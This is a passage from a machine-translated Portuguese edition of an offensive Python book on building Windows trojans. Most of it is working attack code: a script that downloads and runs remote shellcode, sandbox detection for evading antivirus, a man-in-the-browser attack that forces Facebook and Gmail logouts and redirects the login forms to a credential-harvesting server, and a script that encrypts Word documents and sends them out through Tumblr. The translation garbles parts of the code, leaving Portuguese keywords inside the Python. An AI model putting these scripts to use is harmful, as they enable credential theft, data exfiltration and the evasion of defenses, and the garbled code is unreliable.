toda a área visível em vários monitores. Em seguida, determinamos o tamanho da(s) tela(s) ÿ para sabermos as
dimensões necessárias para a captura de tela. Criamos um contexto de dispositivo [18] usando a chamada de função
GetWindowDC ÿ e passamos um identificador para nossa área de trabalho. Em seguida, precisamos criar um contexto de
dispositivo baseado em memória ÿ onde armazenaremos nossa captura de imagem até armazenarmos os bytes de bitmap
em um arquivo. Em seguida, criamos um objeto bitmap ÿ que é definido para o contexto do dispositivo de nossa área de
trabalho. A chamada SelectObject então define o contexto do dispositivo baseado em memória para apontar para o objeto
bitmap que estamos capturando. Usamos a função BitBlt ÿ para obter uma cópia bit a bit da imagem da área de trabalho e
armazená-la no contexto baseado em memória. Pense nisso como uma chamada memcpy para objetos GDI. A etapa final
é despejar essa imagem no disco ÿ. Este script é fácil de testar: basta executá-lo a partir da linha de comando e verificar o
diretório C:\WINDOWS\Temp para o arquivo screenshot.bmp . Vamos passar para
Machine Translated
executando by Google
shellcode.
Machine Translated by Google
Execução Pythonic Shellcode Pode chegar um
momento em que você deseja interagir com uma de suas máquinas de destino ou usar um novo módulo de
exploração suculento de seu teste de penetração favorito ou estrutura de exploração. Isso normalmente -
embora nem sempre - requer alguma forma de execução de shellcode. Para executar o shellcode bruto,
simplesmente precisamos criar um buffer na memória e, usando o módulo ctypes , criar um ponteiro de função
para essa memória e chamar a função. No nosso caso, vamos usar urllib2 para pegar o shellcode de um
servidor web no formato base64 e depois executá-lo. Vamos começar! Abra shell_exec.py e digite o seguinte
código:
import urllib2 import
ctypes import base64
# recupere o
shellcode do nosso servidor web
url = "http://localhost:8000/shellcode.bin" ÿ response =
urllib2.urlopen(url)

# decodifica o shellcode de base64


shellcode = base64.b64decode(response.read())

# cria um buffer na memoria


ÿ shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# cria um ponteiro de função para nosso shellcode


ÿ shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE
(ctypes.c_void_p))

# chama nosso shellcode


ÿ shellcode_func()

Quão incrível é isso? Iniciamos recuperando nosso shellcode codificado em base64 de nosso servidor
web ÿ. Em seguida, alocamos um buffer ÿ para armazenar o shellcode depois de decodificá-lo. A função ctypes
cast nos permite converter o buffer para agir como um ponteiro de função ÿ para que possamos chamar nosso
código shell como chamaríamos qualquer função Python normal. Terminamos chamando nosso ponteiro de
função, que faz com que o shellcode execute ÿ.
Machine Translated by Google
Chutando os pneus Você
pode codificar manualmente algum shellcode ou usar seu framework de pentesting favorito como CANVAS
ou Metasploit [19] para gerá-lo para você. Eu escolhi um shellcode de retorno de chamada do Windows x86 para
CANVAS no meu caso. Armazene o shellcode bruto (não o buffer de string!) em /tmp/ shellcode.raw em sua máquina
Linux e execute o seguinte:
justin$ base64 -i shellcode.raw > shellcode.bin justin$ python -m
SimpleHTTPServer Servindo HTTP na porta 0.0.0.0 8000 ...

Nós simplesmente codificamos o shellcode em base64 usando a linha de comando padrão do Linux. O próximo
pequeno truque usa o módulo SimpleHTTPServer para tratar seu diretório de trabalho atual (no nosso caso, /tmp/)
como sua raiz da web. Quaisquer solicitações de arquivos serão atendidas automaticamente para você. Agora solte
seu script shell_exec.py em sua VM do Windows e execute-o. Você deve ver o seguinte em seu terminal Linux:
192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -

Isso indica que seu script recuperou o shellcode do servidor da Web simples que você configurou usando o módulo
SimpleHTTPServer . Se tudo correr bem, você receberá um shell de volta à sua estrutura e terá exibido calc.exe ou
exibido uma caixa de mensagem ou qualquer coisa para a qual seu shellcode foi compilado.
Machine Translated by Google
Detecção de Sandbox
Cada vez mais, as soluções antivírus empregam alguma forma de sandboxing para determinar o comportamento
de espécimes suspeitos. Quer esse sandbox seja executado no perímetro da rede, que está se tornando mais popular,
ou na própria máquina de destino, devemos fazer o possível para evitar desviar nossa mão para qualquer defesa
existente na rede do alvo. Podemos usar alguns indicadores para tentar determinar se nosso trojan está sendo executado
em um sandbox. Monitoraremos nossa máquina de destino para informações recentes do usuário, incluindo
pressionamentos de tecla e cliques do mouse.

Em seguida, adicionaremos alguma inteligência básica para procurar pressionamentos de tecla, cliques do mouse e
cliques duplos. Nosso script também tentará determinar se o operador do sandbox está enviando entradas repetidamente
(ou seja, uma sucessão rápida e suspeita de cliques contínuos do mouse) para tentar responder a métodos rudimentares
de detecção de sandbox. Vamos comparar a última vez que um usuário interagiu com a máquina e quanto tempo a
máquina está funcionando, o que deve nos dar uma boa ideia se estamos dentro de um sandbox ou não. Uma máquina
típica tem muitas interações em algum momento durante o dia desde que foi inicializada, enquanto um ambiente de
sandbox geralmente não tem interação do usuário porque sandboxes são normalmente usadas como uma técnica
automatizada de análise de malware.

Podemos então decidir se queremos continuar a execução ou não. Vamos começar a trabalhar em algum código de
detecção de sandbox. Abra sandbox_detect.py e insira o seguinte código:

import ctypes import


random import time
import sys

user32 = ctypes.windll.user32 kernel32 =


ctypes.windll.kernel32

pressionamentos =0
de tecla =0
mouse_clicks double_clicks= 0

Estas são as principais variáveis onde vamos rastrear o número total de cliques do mouse, cliques duplos e
pressionamentos de tecla. Posteriormente, veremos também o tempo dos eventos do mouse. Agora vamos criar e
testar algum código para detectar quanto tempo o sistema está rodando e quanto tempo desde a última entrada do
usuário. Adicione a seguinte função ao seu script sandbox_detect.py :
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint), ("dwTime",
ctypes.c_ulong) ]

def get_last_input():

struct_lastinputinfo = LASTINPUTINFO() ÿ
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

# obtém a última entrada registrada ÿ


user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

# agora determine quanto tempo a máquina está funcionando


ÿ run_time = kernel32.GetTickCount()

decorrido = run_time - struct_lastinputinfo.dwTime

print "[*] Já se passaram %d milissegundos desde o último evento de entrada." % decorrido


Machine Translated by Google
retorno decorrido

# REMOVER CÓDIGO DE TESTE APÓS ESTE PARÁGRAFO!


ÿ while True:
get_last_input()
time.sleep(1)

Definimos uma estrutura LASTINPUTINFO que conterá o timestamp (em milissegundos) de quando o último evento de entrada foi
detectado no sistema. Observe que você precisa inicializar a variável cbSize ÿ para o tamanho da estrutura antes de fazer a
chamada. Em seguida, chamamos a função GetLastInputInfo ÿ, que preenche nosso campo struct_lastinputinfo.dwTime com o
registro de data e hora. A próxima etapa é determinar por quanto tempo o sistema está em execução usando a chamada de função
GetTickCount ÿ. O último pequeno trecho de código ÿ é um código de teste simples, no qual você pode executar o script e mover o
mouse ou pressionar uma tecla no teclado e ver esse novo trecho de código em ação.

A seguir, definiremos limites para esses valores de entrada do usuário. Mas primeiro vale a pena observar que o tempo
total do sistema em execução e o último evento de entrada do usuário detectado também podem ser relevantes para o seu
método específico de implantação. Por exemplo, se você sabe que está apenas implantando usando uma tática de phishing, é
provável que um usuário tenha clicado ou executado alguma operação para ser infectado. Isso significa que, no último minuto ou
dois, você veria a entrada do usuário. Se, por algum motivo, você perceber que a máquina está em execução há 10 minutos e a
última entrada detectada foi há 10 minutos, provavelmente você está dentro de uma caixa de proteção que não processou
nenhuma entrada do usuário. Essas chamadas de julgamento fazem parte de ter um bom trojan que funciona de forma consistente.

Esta mesma técnica pode ser útil para sondar o sistema para ver se um usuário está ocioso ou não, pois você pode querer
apenas começar a tirar screenshots quando ele estiver usando ativamente a máquina e, da mesma forma, você pode querer
apenas transmitir dados ou realizar outras tarefas quando o usuário parece estar offline. Você também pode, por exemplo, modelar
um usuário ao longo do tempo para determinar em quais dias e horas ele normalmente fica online.

Vamos excluir as últimas três linhas do código de teste e adicionar algum código adicional para examinar as teclas digitadas e
os cliques do mouse. Usaremos uma solução pura de ctypes desta vez, em oposição ao método PyHook. Você também pode usar
o PyHook facilmente para essa finalidade, mas ter alguns truques diferentes em sua caixa de ferramentas sempre ajuda, pois cada
antivírus e tecnologia de sandbox tem suas próprias maneiras de identificar esses truques.
Vamos à codificação:

def get_key_press():

global mouse_clicks teclas


globais

ÿ para i no intervalo(0,0xff): ÿ
se user32.GetAsyncKeyState(i) == -32767:

# 0x1 é o código para um clique com o botão esquerdo do mouse


ÿ se eu == 0x1:
mouse_clicks += 1 return
time.time() elif i > 32 e i <
ÿ 127:
teclas += 1
retornar nenhum

Esta função simples nos diz o número de cliques do mouse, o tempo dos cliques do mouse, bem como quantas teclas o alvo emitiu.
Isso funciona iterando sobre o intervalo de chaves de entrada válidas ÿ; para cada tecla, verificamos se a tecla foi pressionada
usando a chamada de função GetAsyncKeyState ÿ. Se a tecla for detectada como pressionada, verificamos se é 0x1 ÿ, que é o
código da tecla virtual para
umMachine Translated
clique com o botãobyesquerdo
Google do mouse. Incrementamos o número total de cliques do mouse e retornamos o registro
de data e hora atual para que possamos realizar cálculos de tempo mais tarde. Também verificamos se há pressionamentos
de tecla ASCII no teclado ÿ e, em caso afirmativo, simplesmente incrementamos o número total de pressionamentos de
tecla detectados. Agora vamos combinar os resultados dessas funções em nosso loop de detecção de sandbox principal.
Adicione o seguinte código a sandbox_detect.py:

def detect_sandbox():

global mouse_clicks teclas


globais

ÿ max_keystrokes = random.randint(10,25) max_mouse_clicks =


random.randint(5,25)

double_clicks =0
max_double_clicks = 10
double_click_threshold = 0,250 # em segundos first_double_click
= Nenhum

average_mousetime =0
max_input_threshold = 30000 # em milissegundos

Previous_timestamp = Nenhuma
detecção_completa = Falso

ÿ última_entrada = get_última_entrada()

# se atingirmos nosso limite, vamos sair if last_input >=


max_input_threshold: sys.exit(0)

enquanto não detecção_completa:

ÿ keypress_time = get_key_press()

se keypress_time não for None e previous_timestamp não for None:

# calcula o tempo entre cliques duplos


ÿ decorrido = keypress_time - previous_timestamp

# o usuário clicou duas vezes se


ÿ decorrido <= double_click_threshold:
cliques duplos += 1

se first_double_click for Nenhum:

# pegue o timestamp do primeiro clique duplo first_double_click =


time.time()

outro:

ÿ se double_clicks == max_double_clicks:
ÿ se keypress_time - first_double_click <= (max_double_clicks.
* double_click_threshold): sys.exit(0)

# estamos felizes por haver entrada de usuário suficiente


ÿ se pressionamentos de tecla >= max_keystrokes e double_clicks >= max_.
double_clicks e mouse_clicks >= max_mouse_clicks:

Retorna

anterior_timestamp = keypress_time

elif keypress_time não é nenhum:


anterior_timestamp = keypress_time
Machine Translated by Google
detect_sandbox()
print "Estamos bem!"

Tudo bem. Esteja atento ao recuo nos blocos de código acima! Começamos definindo algumas variáveis ÿ para rastrear o
tempo dos cliques do mouse e alguns limites com relação a quantos toques de tecla ou cliques do mouse estamos
satisfeitos antes de nos considerarmos executando fora de uma caixa de areia. Nós randomizamos esses limites a cada
execução, mas é claro que você pode definir seus próprios limites com base em seus próprios testes.

Em seguida, recuperamos o tempo decorrido ÿ desde que alguma forma de entrada do usuário foi registrada no sistema
e, se acharmos que já faz muito tempo desde que vimos a entrada (com base em como a infecção ocorreu, conforme
mencionado anteriormente), cancelamos fora e o trojan morre. Em vez de morrer aqui, você também pode optar por fazer
alguma atividade inócua, como ler chaves de registro aleatórias ou verificar arquivos. Depois de passarmos por essa
verificação inicial, passamos para nosso loop primário de detecção de pressionamento de tecla e clique do mouse.

Primeiro, verificamos se há pressionamentos de tecla ou cliques do mouse ÿ e sabemos que, se a função retornar um
valor, é o carimbo de data/hora de quando o clique do mouse ocorreu. Em seguida, calculamos o tempo decorrido entre
os cliques do mouse ÿ e comparamos com nosso limite ÿ para determinar se foi um clique duplo.
Juntamente com a detecção de clique duplo, estamos verificando se o operador do sandbox está transmitindo eventos
de clique ÿ para o sandbox para tentar falsificar as técnicas de detecção do sandbox. Por exemplo, seria bastante
estranho ver 100 cliques duplos consecutivos durante o uso normal do computador. Se o número máximo de cliques duplos
for atingido e eles acontecerem em rápida sucessão ÿ, nós salvamos. Nossa etapa final é verificar se passamos por todas
as verificações e atingimos nosso número máximo de cliques, pressionamentos de tecla e cliques duplos ÿ; em caso
afirmativo, saímos de nossa função de detecção de sandbox.

Encorajo você a ajustar e brincar com as configurações e adicionar recursos adicionais, como detecção de máquina
virtual. Pode valer a pena rastrear o uso típico em termos de cliques do mouse, cliques duplos e pressionamentos de
tecla em alguns computadores que você possui (quero dizer possuir - não aqueles que você invadiu!) Para ver onde
você sente que é o ponto feliz. Dependendo do seu alvo, você pode querer configurações mais paranóicas ou pode não
se preocupar com a detecção de sandbox. O uso das ferramentas que você desenvolveu neste capítulo pode atuar como
uma camada básica de recursos a serem implementados em seu trojan e, devido à modularidade de nossa estrutura de
trojaning, você pode optar por implantar qualquer um deles.

[17] Baixe o PyHook aqui: http:// sourceforge.net/ projects/ pyhook/.

[18] Para aprender tudo sobre contextos de dispositivos e programação GDI, visite a página do MSDN aqui: http://
msdn.microsoft.com/ en us/ library/ windows/ desktop/ dd183553(v=vs.85).aspx.

[19] Como o CANVAS é uma ferramenta comercial, dê uma olhada neste tutorial para gerar payloads do Metasploit aqui: http://
www.offensive security.com/ metasploit-unleashed/ Generating_Payloads.
Machine Translated by Google
Capítulo 9. Diversão com o Internet Explorer
A automação do Windows COM atende a vários usos práticos, desde a interação com serviços baseados em rede
até a incorporação de uma planilha do Microsoft Excel em seu próprio aplicativo. Todas as versões do Windows a
partir do XP permitem incorporar um objeto COM do Internet Explorer em aplicativos e aproveitaremos essa
capacidade neste capítulo. Usando o objeto nativo de automação do IE, criaremos um ataque no estilo de
navegador man-in-the-br, onde podemos roubar credenciais de um site enquanto um usuário está interagindo com
ele. Faremos com que esse ataque de roubo de credenciais seja extensível, para que vários sites de destino
possam ser coletados. A última etapa usará o Internet Explorer como meio de exfiltrar dados de um sistema de
destino. Incluiremos alguma criptografia de chave pública para proteger os dados exfiltrados para que somente nós
possamos descriptografá-los.

Internet Explorer, você diz? Embora outros navegadores como Google Chrome e Mozilla Firefox sejam mais
populares atualmente, a maioria dos ambientes corporativos ainda usa o Internet Explorer como navegador padrão.
E, claro, você não pode remover o Internet Explorer de um sistema Windows — portanto, essa técnica deve estar
sempre disponível para o seu trojan do Windows.
Machine Translated by Google
Man-in-the-Browser (mais ou menos)
Os ataques Man-in-the-browser (MitB) existem desde a virada do novo milênio. Eles são uma variação do clássico ataque
man-in-the-middle. Em vez de agir no meio de uma comunicação, o malware se instala e rouba credenciais ou informações
confidenciais do navegador do alvo desavisado. A maioria dessas variedades de malware (normalmente chamadas de
objetos auxiliares do navegador) se inserem no navegador ou injetam código de outra forma para que possam manipular
o próprio processo do navegador. À medida que os desenvolvedores de navegadores se tornam conhecedores dessas
técnicas e os fornecedores de antivírus procuram cada vez mais esse comportamento, temos que ser um pouco mais
sorrateiros. Aproveitando a interface COM nativa para o Internet Explorer, podemos controlar qualquer sessão do IE para
obter credenciais para sites de redes sociais ou logins de e-mail. É claro que você pode estender essa lógica para alterar
a senha de um usuário ou realizar transações com sua sessão de login. Dependendo do seu alvo, você também pode
usar esta técnica em conjunto com o seu módulo keylogger para forçá-lo a se autenticar novamente em um site enquanto
você captura as teclas digitadas.

Começaremos criando um exemplo simples que observará um usuário navegando no Facebook ou Gmail, autenticando-o
e, em seguida, modificando o formulário de login para enviar seu nome de usuário e senha para um servidor HTTP que
controlamos . Nosso servidor HTTP irá simplesmente redirecioná-los de volta para a página de login real.

Se você já fez algum desenvolvimento em JavaScript, notará que o modelo COM para interagir com o IE é muito
semelhante. Estamos escolhendo o Facebook e o Gmail porque os usuários corporativos têm o péssimo hábito de
reutilizar senhas e usar esses serviços para negócios (particularmente, encaminhar e-mails de trabalho para o Gmail, usar
o bate-papo do Facebook com colegas de trabalho e assim por diante). Vamos abrir mitb.py e inserir o seguinte código:

import win32com.client import time


import urlparse import urllib

ÿ data_receiver = "http://localhost:8080/"

ÿ target_sites = {}
target_sites["www.facebook.com"] = {"logout_url"
: Nenhum,
"logout_form" : "logout_form","login_form_index": 0, :
Falso}
"possuído"

=
target_sites["accounts.google.com"] {"logout_url"
: "https://accounts.google.com/
Sair?hl=en&continue=https://accounts.google.com/ ServiceLogin%3Fservice%3Dmail",

"logout_form" : Nenhum,
"login_form_index": 0,
"possuído" : Falso}

# use o mesmo destino para vários domínios do Gmail


target_sites["www.gmail.com"] = target_sites["accounts.google.com"] target_sites["mail.google.com"] =
target_sites["accounts.google.com" ]

clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

ÿ windows = win32com.client.Dispatch(clsid)

Estes são os ingredientes do nosso ataque man-(mais ou menos)-no-navegador. Definimos nossa variável data_receiver
ÿ como o servidor web que receberá as credenciais de nossos sites de destino. Este método é mais arriscado, pois um
usuário astuto pode ver o redirecionamento acontecer, portanto, como um projeto de lição de casa futuro, você pode
Machine
pense emTranslated
maneirasby
deGoogle
extrair cookies ou enviar as credenciais armazenadas por meio do DOM por meio de uma
tag de imagem ou outros meios que pareçam menos suspeitos. Em seguida, configuramos um dicionário de sites-
alvo ÿ que nosso ataque suportará. Os membros do dicionário são os seguintes: logout_url é uma URL que
podemos redirecionar por meio de uma solicitação GET para forçar um usuário a sair; o logout_form é um elemento
DOM que podemos enviar que força o logout; login_form_index é o local relativo no DOM do domínio de destino
que contém o formulário de login que modificaremos; e o sinalizador de propriedade nos diz se já capturamos
credenciais de um site de destino porque não queremos forçá-los a fazer login repetidamente ou o destino pode
suspeitar que algo está acontecendo. Em seguida, usamos o ID de classe do Internet Explorer e instanciamos o
objeto COM ÿ, que nos dá acesso a todas as guias e instâncias do Internet Explorer que estão em execução no
momento.
Agora que temos a estrutura de suporte pronta, vamos criar o loop principal do nosso ataque:
enquanto verdadeiro:

ÿ para navegador no Windows:

url = urlparse.urlparse(browser.LocationUrl)

ÿ se url.hostname em target_sites:

ÿ se target_sites[url.hostname]["propriedade"]: continuar

# se houver um URL, podemos apenas redirecionar se


ÿ target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"]) wait_for_browser(browser)

outro:

# recupera todos os elementos do documento


ÿ full_doc = navegador.Documento.all

# iterar, procurando o formulário de logout para i em full_doc:


try:

# encontre o formulário de logout e envie-o if i.id ==


ÿ target_sites[url.hostname]["logout_form"]: i.submit() wait_for_browser(browser)

exceto:
passar

# agora modificamos o formulário de login, tente:


login_index = target_sites[url.hostname]
["login_form_index"] login_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s" % (data_. receiver, login_page)
ÿ target_sites[url.hostname]["propriedade"] = Verdadeiro

exceto:
passar
tempo.sono(5)

Este é o nosso loop principal onde monitoramos a sessão do navegador de nosso destino para os sites dos quais
queremos obter as credenciais. Começamos iterando por todos os objetos do Internet Explorer ÿ atualmente em
execução; isso inclui guias ativas no IE moderno. Se descobrirmos que o alvo está visitando um de nossos sites
predefinidos ÿ podemos iniciar a lógica principal do nosso ataque. O primeiro passo é determinar se já executamos
um ataque contra este site ÿ; se assim for, não o executaremos novamente. (Isso tem um
Machine Translated
a desvantagem é que,by
seGoogle
o usuário não digitar sua senha corretamente, você poderá perder suas credenciais; Vou deixar nossa
solução simplificada como uma tarefa de casa para melhorar.)

Em seguida, testamos para ver se o site de destino possui um URL de logout simples para o qual podemos redirecionar ÿ e, se
for o caso, forçamos o navegador a fazer isso. Se o site de destino (como o Facebook) exigir que o usuário envie um formulário
para forçar o logout, começamos a iterar sobre o DOM ÿ e quando descobrimos o ID do elemento HTML registrado no formulário
de logout ÿ, forçamos o formulário a ser submetido. Depois que o usuário for redirecionado para o formulário de login, modificamos
o ponto de extremidade do formulário para postar o nome de usuário e a senha em um servidor que controlamos ÿ e, em seguida,
esperamos que o usuário faça um login. Observe que colocamos o nome do host do nosso site de destino no final da URL do nosso
servidor HTTP que coleta as credenciais.
Isso é feito para que nosso servidor HTTP saiba para qual site redirecionar o navegador após coletar as credenciais.

Você notará a função wait_for_browser mencionada em alguns pontos acima, que é uma função simples que espera que um
navegador conclua uma operação, como navegar para uma nova página ou aguardar o carregamento completo de uma página.
Vamos adicionar essa funcionalidade agora inserindo o seguinte código acima do loop principal do nosso script:

def wait_for_browser(navegador):

# espera que o navegador termine de carregar uma página while


browser.ReadyState != 4 e browser.ReadyState != "complete":
time.sleep(0.1)

Retorna

Bem simples. Estamos apenas procurando que o DOM seja totalmente carregado antes de permitir que o restante do nosso
script continue em execução. Isso nos permite cronometrar cuidadosamente quaisquer modificações de DOM ou operações
de análise.
Machine Translated by Google
Criando o servidor Agora que
configuramos nosso script de ataque, vamos criar um servidor HTTP muito simples para coletar as
credenciais conforme elas são enviadas. Abra um novo arquivo chamado cred_server.py e insira o
seguinte código:
import SimpleHTTPServer import
SocketServer import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self):


content_length = int(self.headers['Content-Length']) creds =
ÿ self.rfile.read(content_length).decode('utf-8') print creds site = self.path[1:]
ÿ self.send_response(301) self.send_header('Localização',urllib.unquote(site))
ÿ self.end_headers()
ÿ

ÿ server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) server.serve_forever()

Este simples trecho de código é nosso servidor HTTP especialmente projetado. Inicializamos a classe base
TCPServer com o IP, a porta e a classe CredRequestHandler ÿ que será responsável por tratar as requisições
HTTP POST. Quando nosso servidor recebe uma solicitação do navegador do destino, lemos o cabeçalho
Content-Length ÿ para determinar o tamanho da solicitação e, em seguida, lemos o conteúdo da solicitação ÿ
e o imprimimos ÿ. Em seguida, analisamos o site de origem (Facebook, Gmail etc.) ÿ e forçamos o navegador
de destino a redirecionar ÿ de volta à página principal do site de destino. Um recurso adicional que você pode
adicionar aqui é enviar um e-mail para si mesmo sempre que as credenciais forem recebidas, para que você
possa tentar fazer login usando as credenciais do alvo antes que ele tenha a chance de alterar a senha.
Vamos dar uma volta.
Machine Translated by Google
Chutando os pneus Abra
uma nova instância do IE e execute seus scripts mitb.py e cred_server.py em janelas separadas. Você pode
testar a navegação em vários sites primeiro para ter certeza de que não está vendo nenhum comportamento
estranho, o que não deveria. Agora navegue até o Facebook ou Gmail e tente fazer login. Na janela
cred_server.py , você deve ver algo como o seguinte, usando o Facebook como exemplo:
C:\> python.exe cred_server.py
lsd=AVog7IRe&[email protected]&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US localhost - - [12/mar/2014 /
00] "00:00:00 www.facebook.com HTTP/1.1" 301 -

Você pode ver claramente as credenciais chegando e o redirecionamento pelo servidor, levando o navegador
de volta à tela principal de login. Claro, você também pode fazer um teste onde você tem o Internet Explorer
rodando e já está logado no Facebook; em seguida, tente executar seu script mitb.py e você poderá ver como
ele força o logout. Agora que podemos capturar as credenciais do usuário dessa maneira, vamos ver como
podemos gerar o IE para ajudar a exfiltrar informações de uma rede de destino.
IEMachine
COMTranslated by Google
Automação para Exfiltração
Obter acesso a uma rede de destino é apenas uma parte da batalha. Para fazer uso de seu acesso, você deseja exfiltrar
documentos, planilhas ou outros bits de dados do sistema de destino. Dependendo dos mecanismos de defesa existentes, esta
última parte do seu ataque pode ser complicada. Pode haver sistemas locais ou remotos (ou uma combinação de ambos) que
funcionem para validar processos abrindo conexões remotas, bem como se esses processos devem ser capazes de enviar
informações ou iniciar conexões fora da rede interna. Um colega pesquisador de segurança canadense, Karim Nathoo, apontou
que a automação do IE COM tem o benefício maravilhoso de usar o processo Iexplore.exe , que normalmente é confiável e
está na lista de permissões, para exfiltrar informações de uma rede.

Criaremos um script Python que primeiro buscará documentos do Microsoft Word no sistema de arquivos local.
Quando um documento é encontrado, o script o criptografa usando criptografia de chave pública. [20] Depois que o documento
for criptografado, automatizaremos o processo de postagem do documento criptografado em um blog no tumblr.com. Isso nos
permitirá descartar o documento e recuperá-lo quando quisermos, sem que ninguém mais possa descriptografá-lo. Ao usar um
site confiável como o Tumblr, também devemos ser capazes de contornar qualquer lista negra que um firewall ou proxy possa
ter, o que poderia nos impedir de enviar o documento apenas para um endereço IP ou servidor da Web que controlamos.
Vamos começar colocando algumas funções de suporte em nosso script de exfiltração. Abra ie_exfil.py e digite o seguinte
código:

import win32com.client import os


import fnmatch import time import
random import zlib

da importação de Crypto.PublicKey RSA da


importação de Crypto.Cipher PKCS1_OAEP

doc_type = ".doc" nome de


usuário = "[email protected]" senha =
"justinBHP2014"

""
chave_pública =

def wait_for_browser(navegador):

# espera que o navegador termine de carregar uma página while


browser.ReadyState != 4 e browser.ReadyState != "complete":
time.sleep(0.1)

Retorna

Estamos apenas criando nossas importações, os tipos de documento que procuraremos, nosso nome de usuário e senha
do Tumblr e um espaço reservado para nossa chave pública, que geraremos mais tarde. Agora vamos adicionar nossas rotinas
de criptografia para que possamos criptografar o nome do arquivo e o conteúdo do arquivo.

def encrypt_string(texto simples):

chunk_size = 256 print


"Compactando: %d bytes" % len(texto simples)
ÿ texto simples = zlib.compress(texto simples)

print "Criptografando %d bytes" % len(texto simples)

ÿ rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey)

""
criptografado =
MachineDeslocamento
Translated =by
0 Google
ÿ enquanto o deslocamento &lt; len(texto simples):

pedaço = texto simples[offset:offset+chunk_size]

ÿ if len(chunk) % chunk_size != 0:
pedaço += " " * (pedaço_tamanho - len(pedaço))

criptografado += rsakey.encrypt(chunk) += chunk_size


Deslocamento

ÿ criptografado = criptografado.encode("base64")

print "Criptografia codificada em Base64: %d" % len(criptografado)

retornar criptografado

def encrypt_post(nome do arquivo):

# abre e lê o arquivo fd =
open(filename,"rb") content = fd.read()

fd.close()

ÿ encrypt_title = encrypt_string(arquivo) criptografado_body =


encrypt_string(conteúdo)

retornar título_criptografado, corpo_criptografado

Nossa função encrypt_post é responsável por receber o nome do arquivo e retornar o nome do arquivo criptografado e o
conteúdo do arquivo criptografado no formato codificado em base64. Primeiro chamamos a principal função laboriosa
encrypt_string ÿ, passando o nome de arquivo do nosso arquivo de destino, que se tornará o título de nosso post de blog no
Tumblr. A primeira etapa de nossa função encrypt_string é aplicar a compactação zlib no arquivo ÿ antes de configurar
nosso objeto de criptografia de chave pública RSA ÿ usando nossa chave pública gerada. Em seguida, começamos a
percorrer o conteúdo do arquivo ÿ e a criptografá-lo em blocos de 256 bytes, que é o tamanho máximo para criptografia RSA
usando PyCrypto. Quando encontramos o último pedaço do arquivo ÿ, se ele não tiver 256 bytes, nós o preenchemos com
espaços para garantir que possamos criptografá-lo e descriptografá-lo com sucesso no outro lado. Depois de construirmos
toda a string de texto cifrado, nós a codificamos em base64 ÿ antes de retorná-la. Usamos codificação base64 para que
possamos publicá-lo em nosso blog do Tumblr sem problemas ou problemas estranhos de codificação.

Agora que temos nossas rotinas de criptografia configuradas, vamos começar a adicionar a lógica para lidar com o login
e a navegação no painel do Tumblr. Infelizmente, não há uma maneira rápida e fácil de encontrar elementos de interface
do usuário na Web: simplesmente passei 30 minutos usando o Google Chrome e suas ferramentas de desenvolvedor
para inspecionar cada elemento HTML com o qual precisava interagir.

Também é importante notar que, por meio da página de configurações do Tumblr, mudei o modo de edição para
texto sem formatação, o que desativa o irritante editor baseado em JavaScript. Se você deseja usar um serviço diferente,
também terá que descobrir o tempo preciso, as interações DOM e os elementos HTML necessários - felizmente, o
Python torna a automação muito fácil. Vamos adicionar mais algum código!

ÿ def random_sleep():
time.sleep(random.randint(5,10))
Retorna

def login_to_tumblr(ou seja):

# recupera todos os elementos do documento ÿ full_doc =


ie.Document.all

# iterar procurando pelo formulário de login


Machinepara
Translated byif Google
i em full_doc: i.id ==
ÿ "signup_email": i.setAttribute("value",username)

elif i.id == "signup_password":


i.setAttribute("valor",senha)

sono_aleatório()

# você pode ser apresentado a diferentes páginas iniciais


ÿ if ie.Document.forms[0].id == "signup_form": ie.Document.forms[0].submit() else:

ou seja.Document.forms[1].submit()
exceto IndexError, e:
passar

sono_aleatório()

# o formulário de login é o segundo formulário na página wait_for_browser(ie)

Retorna

Criamos uma função simples chamada random_sleep ÿ que irá dormir por um período de tempo aleatório; isso é projetado
para permitir que o navegador execute tarefas que podem não registrar eventos com o DOM para sinalizar que foram
concluídas. Também faz com que o navegador pareça um pouco mais humano. Nossa função login_to_tumblr começa
recuperando todos os elementos no DOM ÿ e procura os campos de e-mail e senha ÿ e os define com as credenciais que
fornecemos (não se esqueça de registrar uma conta). O Tumblr pode apresentar uma tela de login ligeiramente diferente
a cada visita, então o próximo trecho de código ÿ simplesmente tenta encontrar o formulário de login e enviá-lo de acordo.
Após a execução desse código, devemos estar logados no painel do Tumblr e prontos para postar algumas informações.
Vamos adicionar esse código
agora.

def post_to_tumblr(ou seja, título, post):

full_doc = ie.Document.all

for i in full_doc: if i.id ==


"post_one": i.setAttribute("value",title)
title_box = i i.focus() elif i.id == "post_two":
i.setAttribute("innerHTML" ,post) print "Definir
área de texto" i.focus() elif i.id == "create_post":

print "Botão de postagem encontrado"


post_form = i i.focus()

# mova o foco para longe da caixa de conteúdo principal


random_sleep() ÿ title_box.focus() random_sleep()

# poste o formulário
post_form.children[0].click() wait_for_browser(ie)

sono_aleatório()

Retorna

Nenhum deste código deve parecer muito novo neste ponto. Estamos simplesmente procurando no DOM para encontrar
Machine
